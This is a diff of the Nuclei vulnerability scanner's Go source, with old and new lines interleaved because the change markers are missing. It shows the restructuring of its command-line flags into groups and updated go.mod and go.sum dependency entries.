templatesDirectory := filepath.Join(home, "nuclei-templates")
set := goflags.New()
set.SetDescription(`Nuclei is a fast tool for configurable targeted scanning
based on templates offering massive extensibility and ease of use.`)
set.StringVar(&cfgFile, "config", "", "Nuclei configuration file")
set.BoolVar(&options.Metrics, "metrics", false, "Expose nuclei metrics on a port")
set.IntVar(&options.MetricsPort, "metrics-port", 9092, "Port to expose nuclei metrics on")
set.StringVarP(&options.Target, "target", "u", "", "URL to scan with nuclei")
set.StringSliceVarP(&options.Templates, "templates", "t", []string{}, "Templates to run, supports single and multiple templates using directory.")
set.StringSliceVarP(&options.Workflows, "workflows", "w", []string{}, "Workflows to run for nuclei")
set.StringSliceVarP(&options.ExcludedTemplates, "exclude", "et", []string{}, "Templates to exclude, supports single and multiple templates using directory.")
set.StringSliceVarP(&options.Severity, "severity", "impact", []string{}, "Templates to run based on severity, supports single and multiple severity.")
set.StringVarP(&options.Targets, "list", "l", "", "List of URLs to run templates on")
set.StringVarP(&options.Output, "output", "o", "", "File to write output to (optional)")
set.StringVar(&options.ProxyURL, "proxy-url", "", "URL of the proxy server")
set.StringVar(&options.ProxySocksURL, "proxy-socks-url", "", "URL of the proxy socks server")
set.BoolVar(&options.Silent, "silent", false, "Show only results in output")
set.BoolVar(&options.Version, "version", false, "Show version of nuclei")
set.BoolVarP(&options.Verbose, "verbose", "v", false, "Show verbose output")
set.BoolVarP(&options.NoColor, "no-color", "nc", false, "Disable colors in output")
set.IntVar(&options.Timeout, "timeout", 5, "Time to wait in seconds before timeout")
set.IntVar(&options.Retries, "retries", 1, "Number of times to retry a failed request")
set.StringSliceVarP(&options.CustomHeaders, "header", "H", []string{}, "Custom Header.")
set.BoolVar(&options.Debug, "debug", false, "Debugging request and responses")
set.BoolVar(&options.DebugRequests, "debug-req", false, "Debugging request")
set.BoolVar(&options.DebugResponse, "debug-resp", false, "Debugging response")
set.BoolVarP(&options.UpdateTemplates, "update-templates", "ut", false, "Download / updates nuclei community templates")
set.StringVar(&options.TraceLogFile, "trace-log", "", "File to write sent requests trace log")
set.StringVarP(&options.TemplatesDirectory, "update-directory", "ud", templatesDirectory, "Directory storing nuclei-templates")
set.BoolVar(&options.JSON, "json", false, "Write json output to files")
set.BoolVarP(&options.JSONRequests, "include-rr", "irr", false, "Write requests/responses for matches in JSON output")
set.BoolVar(&options.EnableProgressBar, "stats", false, "Display stats of the running scan")
set.BoolVar(&options.TemplateList, "tl", false, "List available templates")
set.IntVarP(&options.RateLimit, "rate-limit", "rl", 150, "Maximum requests to send per second")
set.BoolVarP(&options.StopAtFirstMatch, "stop-at-first-path", "spm", false, "Stop processing http requests at first match (this may break template/workflow logic)")
set.IntVarP(&options.BulkSize, "bulk-size", "bs", 25, "Maximum Number of hosts analyzed in parallel per template")
set.IntVarP(&options.TemplateThreads, "concurrency", "c", 10, "Maximum Number of templates executed in parallel")
set.BoolVar(&options.Project, "project", false, "Use a project folder to avoid sending same request multiple times")
set.StringVar(&options.ProjectPath, "project-path", "", "Use a user defined project folder, temporary folder is used if not specified but enabled")
set.BoolVarP(&options.NoMeta, "no-meta", "nm", false, "Don't display metadata for the matches")
set.BoolVarP(&options.TemplatesVersion, "templates-version", "tv", false, "Shows the installed nuclei-templates version")
set.BoolVar(&options.OfflineHTTP, "passive", false, "Enable Passive HTTP response processing mode")
set.StringVarP(&options.ReportingConfig, "report-config", "rc", "", "Nuclei Reporting Module configuration file")
set.StringVarP(&options.ReportingDB, "report-db", "rdb", "", "Local Nuclei Reporting Database (Always use this to persistent report data)")
set.StringSliceVar(&options.Tags, "tags", []string{}, "Tags to execute templates for")
set.StringSliceVarP(&options.ExcludeTags, "exclude-tags", "etags", []string{}, "Exclude templates with the provided tags")
set.StringVarP(&options.ResolversFile, "resolvers", "r", "", "File containing resolver list for nuclei")
set.BoolVar(&options.Headless, "headless", false, "Enable headless browser based templates support")
set.BoolVar(&options.ShowBrowser, "show-browser", false, "Show the browser on the screen")
set.IntVarP(&options.StatsInterval, "stats-interval", "si", 5, "Number of seconds between each stats line")
set.BoolVar(&options.SystemResolvers, "system-resolvers", false, "Use system dns resolving as error fallback")
set.IntVar(&options.PageTimeout, "page-timeout", 20, "Seconds to wait for each page in headless")
set.BoolVarP(&options.NewTemplates, "new-templates", "nt", false, "Only run newly added templates")
set.StringVarP(&options.DiskExportDirectory, "markdown-export", "me", "", "Directory to export results in markdown format")
set.StringVarP(&options.SarifExport, "sarif-export", "se", "", "File to export results in sarif format")
set.BoolVar(&options.NoInteractsh, "no-interactsh", false, "Do not use interactsh server for blind interaction polling")
set.StringVar(&options.InteractshURL, "interactsh-url", "https://interact.sh", "Self Hosted Interactsh Server URL")
set.IntVar(&options.InteractionsCacheSize, "interactions-cache-size", 5000, "Number of requests to keep in interactions cache")
set.IntVar(&options.InteractionsEviction, "interactions-eviction", 60, "Number of seconds to wait before evicting requests from cache")
set.IntVar(&options.InteractionsPollDuration, "interactions-poll-duration", 5, "Number of seconds before each interaction poll request")
set.IntVar(&options.InteractionsColldownPeriod, "interactions-cooldown-period", 5, "Extra time for interaction polling before exiting")
_ = set.Parse()
flagSet := goflags.NewFlagSet()
flagSet.SetDescription(`Nuclei is a fast, template based vulnerability scanner focusing
on extensive configurability, massive extensibility and ease of use.`)
/* TODO Important: The defined default values, especially for slice/array types are NOT DEFAULT VALUES, but rather implicit values to which the user input is appended.
This can be very confusing and should be addressed
*/
createGroup(flagSet, "input", "Target",
flagSet.StringSliceVarP(&options.Targets, "target", "u", []string{}, "target URLs/hosts to scan"),
flagSet.StringVarP(&options.TargetsFilePath, "list", "l", "", "path to file containing a list of target URLs/hosts to scan (one per line)"),
)
createGroup(flagSet, "templates", "Templates",
flagSet.BoolVar(&options.TemplateList, "tl", false, "list all available templates"),
flagSet.StringSliceVarP(&options.Templates, "templates", "t", []string{}, "template or template directory paths to include in the scan"),
flagSet.StringSliceVarP(&options.Workflows, "workflows", "w", []string{}, "list of workflows to run"),
flagSet.BoolVarP(&options.NewTemplates, "new-templates", "nt", false, "run newly added templates only"),
flagSet.BoolVar(&options.Validate, "validate", false, "validate the passed templates to nuclei"),
)
createGroup(flagSet, "filters", "Filtering",
flagSet.NormalizedStringSliceVar(&options.Tags, "tags", []string{}, "execute a subset of templates that contain the provided tags"),
flagSet.NormalizedStringSliceVar(&options.IncludeTags, "include-tags", []string{}, "tags from the default deny list that permit executing more intrusive templates"), // TODO show default deny list
flagSet.NormalizedStringSliceVarP(&options.ExcludeTags, "exclude-tags", "etags", []string{}, "exclude templates with the provided tags"),
flagSet.StringSliceVar(&options.IncludeTemplates, "include-templates", []string{}, "templates to be executed even if they are excluded either by default or configuration"),
flagSet.StringSliceVarP(&options.ExcludedTemplates, "exclude", "exclude-templates", []string{}, "template or template directory paths to exclude"),
flagSet.VarP(&options.Severities, "impact", "severity", fmt.Sprintf("Templates to run based on severity. Possible values: %s", severity.GetSupportedSeverities().String())),
flagSet.NormalizedStringSliceVar(&options.Author, "author", []string{}, "execute templates that are (co-)created by the specified authors"),
)
createGroup(flagSet, "output", "Output",
flagSet.StringVarP(&options.Output, "output", "o", "", "output file to write found issues/vulnerabilities"),
flagSet.BoolVar(&options.Silent, "silent", false, "display findings only"),
flagSet.BoolVarP(&options.Verbose, "verbose", "v", false, "show verbose output"),
flagSet.BoolVar(&options.VerboseVerbose, "vv", false, "display extra verbose information"),
flagSet.BoolVarP(&options.NoColor, "no-color", "nc", false, "disable output content coloring (ANSI escape codes)"),
flagSet.BoolVar(&options.JSON, "json", false, "write output in JSONL(ines) format"),
flagSet.BoolVarP(&options.JSONRequests, "include-rr", "irr", false, "include request/response pairs in the JSONL output (for findings only)"),
flagSet.BoolVarP(&options.NoMeta, "no-meta", "nm", false, "don't display match metadata"),
flagSet.BoolVarP(&options.NoTimestamp, "no-timestamp", "nts", false, "don't display timestamp metadata in CLI output"),
flagSet.StringVarP(&options.ReportingDB, "report-db", "rdb", "", "local nuclei reporting database (always use this to persist report data)"),
flagSet.StringVarP(&options.DiskExportDirectory, "markdown-export", "me", "", "directory to export results in markdown format"),
flagSet.StringVarP(&options.SarifExport, "sarif-export", "se", "", "file to export results in SARIF format"),
)
createGroup(flagSet, "configs", "Configurations",
flagSet.StringVar(&cfgFile, "config", "", "path to the nuclei configuration file"),
flagSet.StringVarP(&options.ReportingConfig, "report-config", "rc", "", "nuclei reporting module configuration file"), // TODO merge into the config file or rename to issue-tracking
flagSet.StringSliceVarP(&options.CustomHeaders, "header", "H", []string{}, "custom headers in header:value format"),
flagSet.RuntimeMapVarP(&options.Vars, "var", "V", []string{}, "custom vars in var=value format"),
flagSet.StringVarP(&options.ResolversFile, "resolvers", "r", "", "file containing resolver list for nuclei"),
flagSet.BoolVar(&options.SystemResolvers, "system-resolvers", false, "use system DNS resolving as error fallback"),
flagSet.BoolVar(&options.OfflineHTTP, "passive", false, "enable passive HTTP response processing mode"),
flagSet.BoolVar(&options.EnvironmentVariables, "env-vars", false, "enable environment variables support"),
)
createGroup(flagSet, "interactsh", "interactsh",
flagSet.BoolVar(&options.NoInteractsh, "no-interactsh", false, "do not use interactsh server for blind interaction polling"),
flagSet.StringVar(&options.InteractshURL, "interactsh-url", "https://interact.sh", "self-hosted Interactsh Server URL"),
flagSet.IntVar(&options.InteractionsCacheSize, "interactions-cache-size", 5000, "number of requests to keep in the interactions cache"),
flagSet.IntVar(&options.InteractionsEviction, "interactions-eviction", 60, "number of seconds to wait before evicting requests from cache"),
flagSet.IntVar(&options.InteractionsPollDuration, "interactions-poll-duration", 5, "number of seconds to wait before each interaction poll request"),
flagSet.IntVar(&options.InteractionsColldownPeriod, "interactions-cooldown-period", 5, "extra time for interaction polling before exiting"),
)
createGroup(flagSet, "rate-limit", "Rate-Limit",
flagSet.IntVarP(&options.RateLimit, "rate-limit", "rl", 150, "maximum number of requests to send per second"),
flagSet.IntVarP(&options.RateLimitMinute, "rate-limit-minute", "rlm", 0, "maximum number of requests to send per minute"),
flagSet.IntVarP(&options.BulkSize, "bulk-size", "bs", 25, "maximum number of hosts to be analyzed in parallel per template"),
flagSet.IntVarP(&options.TemplateThreads, "concurrency", "c", 10, "maximum number of templates to be executed in parallel"),
)
createGroup(flagSet, "optimization", "Optimizations",
flagSet.IntVar(&options.Timeout, "timeout", 5, "time to wait in seconds before timeout"),
flagSet.IntVar(&options.Retries, "retries", 1, "number of times to retry a failed request"),
flagSet.IntVar(&options.MaxHostError, "max-host-error", 30, "max errors for a host before skipping from scan"),
flagSet.BoolVar(&options.Project, "project", false, "use a project folder to avoid sending same request multiple times"),
flagSet.StringVar(&options.ProjectPath, "project-path", os.TempDir(), "set a specific project path"),
flagSet.BoolVarP(&options.StopAtFirstMatch, "stop-at-first-path", "spm", false, "stop processing HTTP requests after the first match (may break template/workflow logic)"),
)
createGroup(flagSet, "headless", "Headless",
flagSet.BoolVar(&options.Headless, "headless", false, "enable templates that require headless browser support"),
flagSet.IntVar(&options.PageTimeout, "page-timeout", 20, "seconds to wait for each page in headless mode"),
flagSet.BoolVar(&options.ShowBrowser, "show-browser", false, "show the browser on the screen when running templates with headless mode"),
)
createGroup(flagSet, "debug", "Debug",
flagSet.BoolVar(&options.Debug, "debug", false, "show all requests and responses"),
flagSet.BoolVar(&options.DebugRequests, "debug-req", false, "show all sent requests"),
flagSet.BoolVar(&options.DebugResponse, "debug-resp", false, "show all received responses"),
/* TODO why the separation? http://proxy:port vs socks5://proxy:port etc
TODO should auto-set the HTTP_PROXY variable for the process? */
flagSet.StringVarP(&options.ProxyURL, "proxy-url", "proxy", "", "URL of the HTTP proxy server"),
flagSet.StringVar(&options.ProxySocksURL, "proxy-socks-url", "", "URL of the SOCKS proxy server"),
flagSet.StringVar(&options.TraceLogFile, "trace-log", "", "file to write sent requests trace log"),
flagSet.BoolVar(&options.Version, "version", false, "show nuclei version"),
flagSet.BoolVarP(&options.TemplatesVersion, "templates-version", "tv", false, "shows the version of the installed nuclei-templates"),
)
createGroup(flagSet, "update", "Update",
flagSet.BoolVar(&options.UpdateNuclei, "update", false, "update nuclei to the latest released version"),
flagSet.BoolVarP(&options.UpdateTemplates, "update-templates", "ut", false, "update the community templates to latest released version"),
flagSet.BoolVarP(&options.NoUpdateTemplates, "no-update-templates", "nut", false, "do not check for nuclei-templates updates"),
flagSet.StringVarP(&options.TemplatesDirectory, "update-directory", "ud", templatesDirectory, "overwrite the default nuclei-templates directory"),
)
createGroup(flagSet, "stats", "Statistics",
flagSet.BoolVar(&options.EnableProgressBar, "stats", false, "display statistics about the running scan"),
flagSet.BoolVar(&options.StatsJSON, "stats-json", false, "write statistics data to an output file in JSONL(ines) format"),
flagSet.IntVarP(&options.StatsInterval, "stats-interval", "si", 5, "number of seconds to wait between showing a statistics update"),
flagSet.BoolVar(&options.Metrics, "metrics", false, "expose nuclei metrics on a port"),
flagSet.IntVar(&options.MetricsPort, "metrics-port", 9092, "port to expose nuclei metrics on"),
)
_ = flagSet.Parse()
if cfgFile != "" {
if err := set.MergeConfigFile(cfgFile); err != nil {
if err := flagSet.MergeConfigFile(cfgFile); err != nil {
gologger.Fatal().Msgf("Could not read config: %s\n", err)
}
}
}
func createGroup(flagSet *goflags.FlagSet, groupName, description string, flags ...*goflags.FlagData) {
flagSet.SetGroup(groupName, description)
for _, currentFlag := range flags {
currentFlag.Group(groupName)
}
}

71
v2/go.mod
View File

@ -1,59 +1,62 @@
module github.com/projectdiscovery/nuclei/v2
go 1.15
go 1.16
require (
github.com/Knetic/govaluate v3.0.0+incompatible
github.com/andygrunwald/go-jira v1.13.0
github.com/akrylysov/pogreb v0.10.1 // indirect
github.com/alecthomas/jsonschema v0.0.0-20210818095345-1014919a589c
github.com/andygrunwald/go-jira v1.14.0
github.com/antchfx/htmlquery v1.2.3
github.com/apex/log v1.9.0
github.com/blang/semver v3.5.1+incompatible
github.com/bluele/gcache v0.0.2
github.com/c4milo/unpackit v0.1.0 // indirect
github.com/corpix/uarand v0.1.1
github.com/fatih/structs v1.1.0 // indirect
github.com/go-rod/rod v0.91.1
github.com/golang/protobuf v1.4.3 // indirect
github.com/google/go-github v17.0.0+incompatible
github.com/google/go-github/v32 v32.1.0
github.com/hashicorp/go-cleanhttp v0.5.2 // indirect
github.com/hashicorp/go-retryablehttp v0.6.8 // indirect
github.com/json-iterator/go v1.1.10
github.com/gosuri/uilive v0.0.4 // indirect
github.com/gosuri/uiprogress v0.0.1 // indirect
github.com/itchyny/gojq v0.12.4
github.com/json-iterator/go v1.1.11
github.com/julienschmidt/httprouter v1.3.0
github.com/karlseguin/ccache v2.0.3+incompatible
github.com/karrick/godirwalk v1.16.1
github.com/logrusorgru/aurora v2.0.3+incompatible
github.com/mattn/go-runewidth v0.0.10 // indirect
github.com/miekg/dns v1.1.38
github.com/mitchellh/go-ps v1.0.0
github.com/miekg/dns v1.1.43
github.com/olekukonko/tablewriter v0.0.5
github.com/owenrumney/go-sarif v1.0.4
github.com/owenrumney/go-sarif v1.0.11
github.com/pkg/errors v0.9.1
github.com/projectdiscovery/clistats v0.0.8
github.com/projectdiscovery/collaborator v0.0.2
github.com/projectdiscovery/fastdialer v0.0.8
github.com/projectdiscovery/goflags v0.0.4
github.com/projectdiscovery/fastdialer v0.0.12
github.com/projectdiscovery/goflags v0.0.7
github.com/projectdiscovery/gologger v1.1.4
github.com/projectdiscovery/hmap v0.0.1
github.com/projectdiscovery/interactsh v0.0.3
github.com/projectdiscovery/hmap v0.0.2-0.20210616215655-7b78e7f33d1f
github.com/projectdiscovery/interactsh v0.0.4
github.com/projectdiscovery/rawhttp v0.0.7
github.com/projectdiscovery/retryabledns v1.0.10
github.com/projectdiscovery/retryablehttp-go v1.0.2-0.20210524224054-9fbe1f2b0727
github.com/projectdiscovery/retryabledns v1.0.12
github.com/projectdiscovery/retryablehttp-go v1.0.2
github.com/projectdiscovery/stringsutil v0.0.0-20210804142656-fd3c28dbaafe
github.com/projectdiscovery/yamldoc-go v1.0.2
github.com/remeh/sizedwaitgroup v1.0.0
github.com/rivo/uniseg v0.2.0 // indirect
github.com/rs/xid v1.2.1
github.com/segmentio/ksuid v1.0.3
github.com/rs/xid v1.3.0
github.com/segmentio/ksuid v1.0.4
github.com/shirou/gopsutil/v3 v3.21.7
github.com/spaolacci/murmur3 v1.1.0
github.com/spf13/cast v1.3.1
github.com/spf13/cast v1.4.1
github.com/stretchr/testify v1.7.0
github.com/syndtr/goleveldb v1.0.0
github.com/trivago/tgo v1.0.7 // indirect
github.com/tj/go-update v2.2.5-0.20200519121640-62b4b798fd68+incompatible
github.com/valyala/fasttemplate v1.2.1
github.com/xanzy/go-gitlab v0.44.0
go.uber.org/atomic v1.7.0
go.uber.org/multierr v1.6.0
go.uber.org/ratelimit v0.1.0
golang.org/x/crypto v0.0.0-20210218145215-b8e89b74b9df // indirect
golang.org/x/net v0.0.0-20210521195947-fe42d452be8f
golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9 // indirect
golang.org/x/time v0.0.0-20201208040808-7e3f01d25324 // indirect
google.golang.org/appengine v1.6.7 // indirect
github.com/xanzy/go-gitlab v0.50.3
github.com/ysmood/got v0.14.1 // indirect
github.com/ysmood/gotrace v0.2.2 // indirect
github.com/ysmood/gson v0.6.4 // indirect
github.com/ysmood/leakless v0.7.0 // indirect
go.uber.org/atomic v1.9.0
go.uber.org/multierr v1.7.0
go.uber.org/ratelimit v0.2.0
golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d
golang.org/x/oauth2 v0.0.0-20210817223510-7df4dd6e12ab
gopkg.in/yaml.v2 v2.4.0
)

374
v2/go.sum
View File

@ -31,6 +31,10 @@ cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohl
cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=
cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
git.mills.io/prologic/smtpd v0.0.0-20210710122116-a525b76c287a h1:3i+FJ7IpSZHL+VAjtpQeZCRhrpP0odl5XfoLBY4fxJ8=
git.mills.io/prologic/smtpd v0.0.0-20210710122116-a525b76c287a/go.mod h1:C7hXLmFmPYPjIDGfQl1clsmQ5TMEQfmzWTrJk475bUs=
github.com/AndreasBriese/bbloom v0.0.0-20190825152654-46b345b51c96 h1:cTp8I5+VIoKjsnZuH8vjyaysT/ses3EvZeaV/1UkF2M=
github.com/AndreasBriese/bbloom v0.0.0-20190825152654-46b345b51c96/go.mod h1:bOvUY6CB00SOBii9/FifXqc0awNKxLFCL/+pkDPuyl8=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/Knetic/govaluate v3.0.0+incompatible h1:7o6+MAPhYTCF0+fdvoz1xDedhRb4f6s9Tn1Tt7/WTEg=
@ -38,12 +42,45 @@ github.com/Knetic/govaluate v3.0.0+incompatible/go.mod h1:r7JcOSlj0wfOMncg0iLm8L
github.com/Masterminds/glide v0.13.2/go.mod h1:STyF5vcenH/rUqTEv+/hBXlSTo7KYwg2oc2f4tzPWic=
github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y=
github.com/Masterminds/vcs v1.13.0/go.mod h1:N09YCmOQr6RLxC6UNHzuVwAdodYbbnycGHSmwVJjcKA=
github.com/andygrunwald/go-jira v1.13.0 h1:vvIImGgX32bHfoiyUwkNo+/YrPnRczNarvhLOncP6dE=
github.com/andygrunwald/go-jira v1.13.0/go.mod h1:jYi4kFDbRPZTJdJOVJO4mpMMIwdB+rcZwSO58DzPd2I=
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
github.com/OneOfOne/xxhash v1.2.8 h1:31czK/TI9sNkxIKfaUfGlU47BAxQ0ztGgd9vPyqimf8=
github.com/OneOfOne/xxhash v1.2.8/go.mod h1:eZbhyaAYD41SGSSsnmcpxVoRiQ/MPUTjUdIIOT9Um7Q=
github.com/StackExchange/wmi v1.2.1 h1:VIkavFPXSjcnS+O8yTq7NI32k0R5Aj+v39y29VYDOSA=
github.com/StackExchange/wmi v1.2.1/go.mod h1:rcmrprowKIVzvc+NUiLncP2uuArMWLCbu9SBzvHz7e8=
github.com/akrylysov/pogreb v0.10.0 h1:pVKi+uf3EzZUmiwr9bZnPk4W379KP8QsFzAa9IUuOog=
github.com/akrylysov/pogreb v0.10.0/go.mod h1:pNs6QmpQ1UlTJKDezuRWmaqkgUE2TuU0YTWyqJZ7+lI=
github.com/akrylysov/pogreb v0.10.1 h1:FqlR8VR7uCbJdfUob916tPM+idpKgeESDXOA1K0DK4w=
github.com/akrylysov/pogreb v0.10.1/go.mod h1:pNs6QmpQ1UlTJKDezuRWmaqkgUE2TuU0YTWyqJZ7+lI=
github.com/alecthomas/jsonschema v0.0.0-20210818095345-1014919a589c h1:oJsq4z4xKgZWWOhrSZuLZ5KyYfRFytddLL1E5+psfIY=
github.com/alecthomas/jsonschema v0.0.0-20210818095345-1014919a589c/go.mod h1:/n6+1/DWPltRLWL/VKyUxg6tzsl5kHUCcraimt4vr60=
github.com/andres-erbsen/clock v0.0.0-20160526145045-9e14626cd129 h1:MzBOUgng9orim59UnfUTLRjMpd09C5uEVQ6RPGeCaVI=
github.com/andres-erbsen/clock v0.0.0-20160526145045-9e14626cd129/go.mod h1:rFgpPQZYZ8vdbc+48xibu8ALc3yeyd64IhHS+PU6Yyg=
github.com/andygrunwald/go-jira v1.14.0 h1:7GT/3qhar2dGJ0kq8w0d63liNyHOnxZsUZ9Pe4+AKBI=
github.com/andygrunwald/go-jira v1.14.0/go.mod h1:KMo2f4DgMZA1C9FdImuLc04x4WQhn5derQpnsuBFgqE=
github.com/antchfx/htmlquery v1.2.3 h1:sP3NFDneHx2stfNXCKbhHFo8XgNjCACnU/4AO5gWz6M=
github.com/antchfx/htmlquery v1.2.3/go.mod h1:B0ABL+F5irhhMWg54ymEZinzMSi0Kt3I2if0BLYa3V0=
github.com/antchfx/xpath v1.1.6 h1:6sVh6hB5T6phw1pFpHRQ+C4bd8sNI+O58flqtg7h0R0=
github.com/antchfx/xpath v1.1.6/go.mod h1:Yee4kTMuNiPYJ7nSNorELQMr1J33uOpXDMByNYhvtNk=
github.com/apex/log v1.9.0 h1:FHtw/xuaM8AgmvDDTI9fiwoAL25Sq2cxojnZICUU8l0=
github.com/apex/log v1.9.0/go.mod h1:m82fZlWIuiWzWP04XCTXmnX0xRkYYbCdYn8jbJeLBEA=
github.com/apex/logs v1.0.0/go.mod h1:XzxuLZ5myVHDy9SAmYpamKKRNApGj54PfYLcFrXqDwo=
github.com/aphistic/golf v0.0.0-20180712155816-02c07f170c5a/go.mod h1:3NqKYiepwy8kCu4PNA+aP7WUV72eXWJeP9/r3/K9aLE=
github.com/aphistic/sweet v0.2.0/go.mod h1:fWDlIh/isSE9n6EPsRmC0det+whmX6dJid3stzu0Xys=
github.com/apparentlymart/go-textseg/v13 v13.0.0/go.mod h1:ZK2fH7c4NqDTLtiYLvIkEghdlcqw7yxLeM89kiTRPUo=
github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
github.com/aws/aws-sdk-go v1.20.6/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
github.com/aybabtme/rgbterm v0.0.0-20170906152045-cc83f3b3ce59/go.mod h1:q/89r3U2H7sSsE2t6Kca0lfwTK8JdoNGS/yzM/4iH5I=
github.com/blang/semver v3.5.1+incompatible h1:cQNTCjp13qL8KC3Nbxr/y2Bqb63oX6wdnnjpJbkM4JQ=
github.com/blang/semver v3.5.1+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
github.com/bluele/gcache v0.0.2 h1:WcbfdXICg7G/DGBh1PFfcirkWOQV+v077yF1pSy3DGw=
github.com/bluele/gcache v0.0.2/go.mod h1:m15KV+ECjptwSPxKhOhQoAFQVtUFjTVkc3H8o0t/fp0=
github.com/bradfitz/iter v0.0.0-20191230175014-e8f45d346db8 h1:GKTyiRCL6zVf5wWaqKnf+7Qs6GbEPfd4iMOitWzXJx8=
github.com/bradfitz/iter v0.0.0-20191230175014-e8f45d346db8/go.mod h1:spo1JLcs67NmW1aVLEgtA8Yy1elc+X8y5SRW1sFW4Og=
github.com/c4milo/unpackit v0.1.0 h1:91pWJ6B3svZ4LOE+p3rnyucRK5fZwBdF/yQ/pcZO31I=
github.com/c4milo/unpackit v0.1.0/go.mod h1:pvXCMYlSV8zwGFWMaT+PWYkAB/cvDjN2mv9r7ZRSxEo=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko=
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
@ -52,36 +89,63 @@ github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGX
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 h1:ox2F0PSMlrAAiAdknSRMDrAr8mfxPCfSZolH+/qQnyQ=
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08/go.mod h1:pCxVEbcm3AMg7ejXyorUXi6HQCzOIBf7zEDVPtw0/U4=
github.com/codegangsta/cli v1.20.0/go.mod h1:/qJNoX69yVSKu5o4jLyXAENLRyk1uhi7zkbQ3slBdOA=
github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk=
github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
github.com/corpix/uarand v0.1.1 h1:RMr1TWc9F4n5jiPDzFHtmaUXLKLNUFK0SgCLo4BhX/U=
github.com/corpix/uarand v0.1.1/go.mod h1:SFKZvkcRoLqVRFZ4u25xPmp6m9ktANfbpXZ7SJ0/FNU=
github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE=
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
github.com/dave/dst v0.26.2/go.mod h1:UMDJuIRPfyUCC78eFuB+SV/WI8oDeyFDvM/JR6NI3IU=
github.com/dave/gopackages v0.0.0-20170318123100-46e7023ec56e/go.mod h1:i00+b/gKdIDIxuLDFob7ustLAVqhsZRk2qVZrArELGQ=
github.com/dave/jennifer v1.2.0/go.mod h1:fIb+770HOpJ2fmN9EPPKOqm1vMGhB+TwXKMZhrIygKg=
github.com/dave/kerr v0.0.0-20170318121727-bc25dd6abe8e/go.mod h1:qZqlPyPvfsDJt+3wHJ1EvSXDuVjFTK0j2p/ca+gtsb8=
github.com/dave/rebecca v0.9.1/go.mod h1:N6XYdMD/OKw3lkF3ywh8Z6wPGuwNFDNtWYEMFWEmXBA=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dgrijalva/jwt-go v3.2.0+incompatible h1:7qlOGliEKZXTDg6OTjfoBKDXWrumCAMpl/TFQ4/5kLM=
github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
github.com/dgraph-io/badger v1.6.2 h1:mNw0qs90GVgGGWylh0umH5iag1j6n/PeJtNvL6KY/x8=
github.com/dgraph-io/badger v1.6.2/go.mod h1:JW2yswe3V058sS0kZ2h/AXeDSqFjxnZcRrVH//y2UQE=
github.com/dgraph-io/ristretto v0.0.2/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E=
